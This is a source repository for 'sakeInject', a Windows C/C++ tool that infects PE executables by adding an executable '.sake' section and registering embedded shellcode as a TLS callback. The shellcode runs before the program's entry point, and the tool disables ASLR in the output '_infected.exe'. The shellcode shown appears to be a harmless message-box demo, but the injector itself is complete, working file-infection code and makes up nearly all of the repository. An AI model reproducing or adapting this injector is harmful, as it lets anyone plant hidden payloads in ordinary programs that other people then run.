├── Demo.png ├── README.md ├── Sake.sln └── Sake ├── Sake.cpp ├── Sake.vcxproj ├── Sake.vcxproj.filters ├── Sake.vcxproj.user ├── misc.h ├── shellcode.h └── tlsInject.h /Demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aaaddress1/sakeInject/ea9942cd901b1267a924b9d5c0778586be0f7de4/Demo.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # sakeInject 2 | TLS (Thread Local Storage) Injector in C/C++ 3 | 4 | ![](Demo.png) 5 | -------------------------------------------------------------------------------- /Sake.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30611.23 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Sake", "Sake\Sake.vcxproj", "{B49B3E84-5BC3-4750-B17D-CEA69A783E91}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {B49B3E84-5BC3-4750-B17D-CEA69A783E91}.Debug|x64.ActiveCfg = Debug|x64 17 | {B49B3E84-5BC3-4750-B17D-CEA69A783E91}.Debug|x64.Build.0 = Debug|x64 18 | {B49B3E84-5BC3-4750-B17D-CEA69A783E91}.Debug|x86.ActiveCfg = Debug|Win32 19 | {B49B3E84-5BC3-4750-B17D-CEA69A783E91}.Debug|x86.Build.0 = Debug|Win32 20 | {B49B3E84-5BC3-4750-B17D-CEA69A783E91}.Release|x64.ActiveCfg = Release|x64 21 | {B49B3E84-5BC3-4750-B17D-CEA69A783E91}.Release|x64.Build.0 = Release|x64 22 | {B49B3E84-5BC3-4750-B17D-CEA69A783E91}.Release|x86.ActiveCfg = Release|Win32 23 | {B49B3E84-5BC3-4750-B17D-CEA69A783E91}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {4B66FDF0-BC99-4CA9-89D3-38997514341A} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /Sake/Sake.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "misc.h" 4 | #include "shellcode.h" 5 | #include "tlsInject.h" 6 | 7 | int main(int argc, char** argv) { 8 | 9 | if (argc != 2) { 10 | #ifdef _WIN64 11 | puts("usage: sake64.exe [path/to/file]"); 12 | #else 13 | puts("usage: sake32.exe [path/to/file]"); 14 | #endif 15 | puts("TLS Injector, powered by aaaddress1@chroot.org"); 16 | return 0; 17 | } 18 | 19 | char pathToTarget[MAX_PATH] = { 0 }; 20 | strcpy(pathToTarget, argv[1]); 21 | char* buff; size_t fileSize; 22 | if (!readBinFile(pathToTarget, &buff, fileSize)) { 23 | puts("[!] selected file not found."); 24 | return 0; 25 | } 26 | 27 | strcpy(strrchr(pathToTarget, '.'), "_infected.exe"); 28 | printf(tlsInject(buff, shellcode, shellcodeLen, pathToTarget) ? "[+] file save as %s!\n[+] tls inject done.\n" : "[!] tls inject fail.", pathToTarget); 29 | return 0; 30 | } 31 | -------------------------------------------------------------------------------- /Sake/Sake.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {b49b3e84-5bc3-4750-b17d-cea69a783e91} 25 | Sake 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | $(ProjectName)32 76 | 77 | 78 | false 79 | $(ProjectName)32 80 | 81 | 82 | true 83 | $(ProjectName)64 84 | 85 | 86 | false 87 | $(ProjectName)64 88 | 89 | 90 | 91 | Level3 92 | true 93 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 94 | true 95 | 96 | 97 | Console 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | true 106 | true 107 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 108 | true 109 | 110 | 111 | Console 112 | true 113 | true 114 | true 115 | 116 | 117 | 118 | 119 | Level3 120 | true 121 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 122 | true 123 | 124 | 125 | Console 126 | true 127 | 128 | 129 | 130 | 131 | Level3 132 | true 133 | true 134 | true 135 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 136 | true 137 | 138 | 139 | Console 140 | true 141 | true 142 | true 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | -------------------------------------------------------------------------------- /Sake/Sake.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 來源檔案 20 | 21 | 22 | 23 | 24 | 標頭檔 25 | 26 | 27 | 標頭檔 28 | 29 | 30 | 標頭檔 31 | 32 | 33 | -------------------------------------------------------------------------------- /Sake/Sake.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /Sake/misc.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #pragma warning(disable:4996) 4 | bool readBinFile(const char fileName[], char** bufPtr, size_t& length) { 5 | if (FILE* fp = fopen(fileName, "rb")) { 6 | fseek(fp, 0, SEEK_END); 7 | length = ftell(fp); 8 | *bufPtr = new char[length + 1]; 9 | fseek(fp, 0, SEEK_SET); 10 | fread(*bufPtr, sizeof(char), length, fp); 11 | return true; 12 | } 13 | return false; 14 | } -------------------------------------------------------------------------------- /Sake/shellcode.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #define x86_shellcode "\xe9\x1e\x01\x00\x00\x90\x66\x83\x39\x00\x74\x24\x53\x31\xc0\x8d\x59\x02\x0f\xb7\x0b\x83\xc3\x02\x89\xca\x83\xca\x20\x0f\xb7\xd2\x01\xd0\xc1\xc8\x08\x66\x85\xc9\x75\xe8\x5b\xc3\x8d\x74\x26\x00\x31\xc0\xc3\x80\x39\x00\x74\x28\x53\x31\xc0\x8d\x59\x01\x66\x90\x0f\xb6\x0b\x83\xc3\x01\x89\xca\x83\xca\x20\x0f\xbe\xd2\x01\xd0\xc1\xc8\x08\x84\xc9\x75\xe9\x5b\xc3\x8d\xb4\x26\x00\x00\x00\x00\x31\xc0\xc3\x57\x56\x53\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x58\x14\x8d\x70\x14\x39\xf3\x74\x27\x89\xcf\xeb\x09\x8d\x76\x00\x8b\x1b\x39\xf3\x74\x1a\x8b\x4b\x28\xe8\x78\xff\xff\xff\x39\xf8\x75\xee\x8b\x43\x10\x5b\x5e\x5f\xc3\x8d\xb4\x26\x00\x00\x00\x00\x5b\x31\xc0\x5e\x5f\xc3\x8b\x41\x3c\x8b\x44\x01\x78\x85\xc0\x74\x6f\x55\x01\xc8\x57\x56\x53\x83\xec\x08\x8b\x78\x18\x89\x44\x24\x04\x85\xff\x74\x28\x8b\x58\x20\x89\x14\x24\x89\xce\x31\xed\x01\xcb\x85\xdb\x74\x0e\x8b\x0b\x01\xf1\xe8\x55\xff\xff\xff\x3b\x04\x24\x74\x1d\x83\xc5\x01\x83\xc3\x04\x39\xef\x75\xe4\x83\xc4\x08\x31\xc0\x5b\x5e\x5f\x5d\xc3\x89\xf6\x8d\xbc\x27\x00\x00\x00\x00\x8b\x7c\x24\x04\x8d\x04\x6e\x03\x47\x24\x0f\xb7\x00\x8d\x04\x86\x03\x47\x1c\x03\x30\x83\xc4\x08\x5b\x89\xf0\x5e\x5f\x5d\xc3\x90\x31\xc0\xc3\x57\xb8\x41\x00\x00\x00\x56\x53\x83\xec\x30\x8d\x4c\x24\x22\xc7\x44\x24\x22\x46\x61\x74\x61\xc7\x44\x24\x26\x6c\x41\x70\x70\xc7\x44\x24\x2a\x45\x78\x69\x74\x66\x89\x44\x24\x2e\xe8\xdf\xfe\xff\xff\x89\xc7\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x58\x14\x8d\x70\x14\x39\xde\x75\x0d\xeb\x45\x90\x8d\x74\x26\x00\x8b\x1b\x39\xde\x74\x0e\x8b\x4b\x10\x89\xfa\xe8\x26\xff\xff\xff\x85\xc0\x74\xec\x8d\x54\x24\x1a\xc7\x44\x24\x1a\x33\x30\x63\x6d\xc7\x44\x24\x1e\x2e\x74\x77\x00\x89\x54\x24\x04\xc7\x04\x24\x00\x00\x00\x00\xff\xd0\x83\xec\x08\x83\xc4\x30\x5b\x5e\x5f\xc3\x90\x31\xc0\xeb\xd0"; 3 | #define x64_shellcode "\xe9\x2b\x01\x00\x00\x90\x4c\x8d\x41\x02\x31\xc0\x66\x83\x39\x00\x74\x1e\x41\x0f\xb7\x08\x49\x83\xc0\x02\x89\xca\x83\xca\x20\x0f\xb7\xd2\x01\xd0\xc1\xc8\x08\x66\x85\xc9\x75\xe6\xc3\x0f\x1f\x00\xc3\x4c\x8d\x41\x01\x31\xc0\x80\x39\x00\x74\x24\x0f\x1f\x40\x00\x41\x0f\xb6\x08\x49\x83\xc0\x01\x89\xca\x83\xca\x20\x0f\xbe\xd2\x01\xd0\xc1\xc8\x08\x84\xc9\x75\xe7\xc3\x66\x0f\x1f\x44\x00\x00\xc3\x65\x48\x8b\x04\x25\x60\x00\x00\x00\x48\x8b\x40\x18\x4c\x8b\x48\x20\x4c\x8d\x50\x20\x4d\x39\xd1\x74\x2f\x48\x83\xec\x28\x41\x89\xcb\xeb\x08\x4d\x8b\x09\x4d\x39\xd1\x74\x17\x49\x8b\x49\x50\xe8\x71\xff\xff\xff\x44\x39\xd8\x75\xea\x49\x8b\x41\x20\x48\x83\xc4\x28\xc3\x31\xc0\x48\x83\xc4\x28\xc3\x31\xc0\xc3\x57\x56\x53\x48\x83\xec\x20\x48\x63\x41\x3c\x8b\xb4\x01\x88\x00\x00\x00\x85\xf6\x74\x42\x48\x01\xce\x8b\x46\x18\x85\xc0\x74\x38\x44\x8b\x4e\x20\x89\xd7\x49\x89\xcb\x45\x31\xd2\x8d\x58\xff\x49\x01\xc9\xeb\x03\x4d\x89\xc2\x4d\x85\xc9\x74\x0f\x41\x8b\x09\x4c\x01\xd9\xe8\x3d\xff\xff\xff\x39\xf8\x74\x18\x4d\x8d\x42\x01\x49\x83\xc1\x04\x4c\x39\xd3\x75\xdc\x48\x83\xc4\x20\x31\xc0\x5b\x5e\x5f\xc3\x90\x8b\x46\x24\x4b\x8d\x14\x53\x0f\xb7\x14\x02\x8b\x46\x1c\x49\x8d\x14\x93\x8b\x04\x02\x48\x83\xc4\x20\x5b\x5e\x5f\x4c\x01\xd8\xc3\x48\xb8\x46\x61\x74\x61\x6c\x41\x70\x70\x57\x56\x53\x48\x83\xec\x40\x48\x89\x44\x24\x32\x48\x8d\x4c\x24\x32\xb8\x41\x00\x00\x00\xc7\x44\x24\x3a\x45\x78\x69\x74\x66\x89\x44\x24\x3e\xe8\xcf\xfe\xff\xff\x89\xc7\x65\x48\x8b\x04\x25\x60\x00\x00\x00\x48\x8b\x40\x18\x48\x8b\x58\x20\x48\x8d\x70\x20\x48\x39\xde\x75\x0a\xeb\x40\x48\x8b\x1b\x48\x39\xde\x74\x10\x48\x8b\x4b\x20\x89\xfa\xe8\x1a\xff\xff\xff\x48\x85\xc0\x74\xe8\x48\xbf\x33\x30\x63\x6d\x2e\x74\x77\x00\x31\xc9\x48\x89\x7c\x24\x2a\x48\x8d\x54\x24\x2a\xff\xd0\x48\x83\xc4\x40\x5b\x5e\x5f\xc3\x0f\x1f\x84\x00\x00\x00\x00\x00\x31\xc0\xeb\xd4"; 4 | 5 | #define x96_runOnlyOnce /* call +5 */ "\xe8\x00\x00\x00\x00" \ 6 | /* pop rax */ "\x58" \ 7 | /* padding */ "\x90\x90\x90" \ 8 | /* mov [rax-5], 00002CB8 */ "\x48\xC7\x40\xFB\xb8\x2c\x00\x00" \ 9 | /* mov [rax-1], 2ECD00C3 */ "\x48\xC7\x40\xFF\x00\xCD\x2E\xCC" 10 | /* make a x86 Assembly Chain: 11 | * mov eax, 0x2c 12 | * int 2E 13 | * int 3 14 | */ 15 | 16 | #ifdef _WIN64 17 | char shellcode[] = x96_runOnlyOnce x64_shellcode; 18 | size_t shellcodeLen = sizeof(shellcode); 19 | #else 20 | char shellcode[] = x96_runOnlyOnce x86_shellcode; 21 | size_t shellcodeLen = sizeof(shellcode); 22 | #endif 23 | -------------------------------------------------------------------------------- /Sake/tlsInject.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #pragma warning(disable:4996) 5 | #define getNtHdr(buf) ((IMAGE_NT_HEADERS *)((size_t)buf + ((IMAGE_DOS_HEADER *)buf)->e_lfanew)) 6 | #define getSectionArr(buf) ((IMAGE_SECTION_HEADER *)((size_t)getNtHdr(buf) + sizeof(IMAGE_NT_HEADERS))) 7 | #define P2ALIGNUP(size, align) ((((size) / (align)) + 1) * (align)) 8 | 9 | PIMAGE_SECTION_HEADER newSection(char* buf) { 10 | PIMAGE_SECTION_HEADER firstSecHdr = &getSectionArr(buf)[0]; 11 | PIMAGE_SECTION_HEADER finalSecHdr = &getSectionArr(buf)[getNtHdr(buf)->FileHeader.NumberOfSections - 1]; 12 | PIMAGE_SECTION_HEADER creatSecHdr = &getSectionArr(buf)[getNtHdr(buf)->FileHeader.NumberOfSections]; 13 | memcpy(creatSecHdr->Name, ".sake", 8); 14 | creatSecHdr->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE; 15 | creatSecHdr->VirtualAddress = P2ALIGNUP( 16 | finalSecHdr->VirtualAddress + finalSecHdr->Misc.VirtualSize, 17 | getNtHdr(buf)->OptionalHeader.SectionAlignment 18 | ); 19 | getNtHdr(buf)->FileHeader.NumberOfSections += 1; 20 | return (size_t)creatSecHdr - (size_t)buf < firstSecHdr->PointerToRawData ? creatSecHdr : NULL; // bound check 21 | } 22 | 23 | 24 | void fixUp_SaveExeToFile(char* bufToSave, size_t currLen, char* pathToWrite) { 25 | for (size_t i = 1; i < getNtHdr(bufToSave)->FileHeader.NumberOfSections; i++) 26 | getSectionArr(bufToSave)[i - 1].Misc.VirtualSize = 27 | getSectionArr(bufToSave)[i].VirtualAddress - getSectionArr(bufToSave)[i - 1].VirtualAddress; 28 | 29 | getNtHdr(bufToSave)->OptionalHeader.SizeOfImage = 30 | getSectionArr(bufToSave)[getNtHdr(bufToSave)->FileHeader.NumberOfSections - 1].VirtualAddress + 31 | getSectionArr(bufToSave)[getNtHdr(bufToSave)->FileHeader.NumberOfSections - 1].Misc.VirtualSize; 32 | 33 | getNtHdr(bufToSave)->OptionalHeader.DllCharacteristics &= ~(IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE); 34 | FILE* fp = fopen(pathToWrite, "wb"); 35 | fwrite(bufToSave, 1, currLen, fp); 36 | fclose(fp); 37 | } 38 | 39 | size_t rvaToOffset(char* exeData, size_t RVA) { 40 | for (size_t i = 0; i < getNtHdr(exeData)->FileHeader.NumberOfSections; i++) 41 | if (RVA >= getSectionArr(exeData)[i].VirtualAddress && 42 | RVA <= getSectionArr(exeData)[i].VirtualAddress + getSectionArr(exeData)[i].Misc.VirtualSize) 43 | return getSectionArr(exeData)[i].PointerToRawData + (RVA - getSectionArr(exeData)[i].VirtualAddress); 44 | return 0; 45 | } 46 | bool tlsInject(char* exeData, char* ptrStubData, size_t appendStubSize, char* pathToWrite) { 47 | PIMAGE_NT_HEADERS ntHdr = (PIMAGE_NT_HEADERS)((size_t)exeData + PIMAGE_DOS_HEADER(exeData)->e_lfanew); 48 | PIMAGE_DATA_DIRECTORY tlsDataDir = &ntHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS]; 49 | size_t sakeUsed = 0, fileSakeSize = 0, sectSakeSize = 0; 50 | char* sakeSecData = new char[0x100 + appendStubSize]; 51 | size_t offset_newDataStart = 52 | getSectionArr(exeData)[getNtHdr(exeData)->FileHeader.NumberOfSections - 1].PointerToRawData + 53 | getSectionArr(exeData)[getNtHdr(exeData)->FileHeader.NumberOfSections - 1].SizeOfRawData; 54 | auto sakeSection = newSection(exeData); 55 | 56 | PIMAGE_TLS_DIRECTORY imgTlsDir; 57 | if (!tlsDataDir->VirtualAddress || !tlsDataDir->Size) { 58 | imgTlsDir = (PIMAGE_TLS_DIRECTORY)sakeSecData; 59 | memset(imgTlsDir, '\x00', sizeof(*imgTlsDir)); 60 | sakeUsed += sizeof(*imgTlsDir); 61 | 62 | imgTlsDir->AddressOfIndex = getNtHdr(exeData)->OptionalHeader.ImageBase + sakeSection->VirtualAddress; 63 | imgTlsDir->AddressOfCallBacks = getNtHdr(exeData)->OptionalHeader.ImageBase + sakeSection->VirtualAddress + sakeUsed; 64 | auto addrOfCBackSaveAt = (decltype(imgTlsDir->AddressOfCallBacks)*)(sakeSecData + sakeUsed); 65 | sakeUsed += sizeof(decltype(imgTlsDir->AddressOfCallBacks)) * 2; 66 | addrOfCBackSaveAt[0] = getNtHdr(exeData)->OptionalHeader.ImageBase + sakeSection->VirtualAddress + sakeUsed; 67 | addrOfCBackSaveAt[1] = 0; 68 | 69 | tlsDataDir->VirtualAddress = sakeSection->VirtualAddress; 70 | tlsDataDir->Size = sakeUsed; 71 | } 72 | else { 73 | imgTlsDir = (PIMAGE_TLS_DIRECTORY)((size_t)exeData + rvaToOffset(exeData, tlsDataDir->VirtualAddress)); 74 | auto k = rvaToOffset(exeData, imgTlsDir->AddressOfCallBacks - getNtHdr(exeData)->OptionalHeader.ImageBase); 75 | auto addrOfCBackSaveAt = (decltype(imgTlsDir->AddressOfCallBacks)*)((size_t)exeData + k); 76 | for (; *addrOfCBackSaveAt; addrOfCBackSaveAt++) if (!*addrOfCBackSaveAt) break; 77 | *addrOfCBackSaveAt++ = getNtHdr(exeData)->OptionalHeader.ImageBase + sakeSection->VirtualAddress + sakeUsed; 78 | *addrOfCBackSaveAt = 0; 79 | } 80 | 81 | fileSakeSize = P2ALIGNUP((sakeUsed + appendStubSize), ntHdr->OptionalHeader.FileAlignment); 82 | sectSakeSize = P2ALIGNUP((sakeUsed + appendStubSize), ntHdr->OptionalHeader.SectionAlignment); 83 | sakeSection->PointerToRawData = offset_newDataStart; 84 | sakeSection->SizeOfRawData = fileSakeSize; 85 | sakeSection->Misc.VirtualSize = sectSakeSize; 86 | 87 | char* outExeBuf = new char[offset_newDataStart + fileSakeSize]; 88 | memcpy(outExeBuf, exeData, offset_newDataStart); 89 | memcpy(outExeBuf + offset_newDataStart, sakeSecData, sakeUsed); 90 | memcpy(outExeBuf + offset_newDataStart + sakeUsed, ptrStubData, appendStubSize); 91 | fixUp_SaveExeToFile(outExeBuf, offset_newDataStart + fileSakeSize, pathToWrite); 92 | return true; 93 | } --------------------------------------------------------------------------------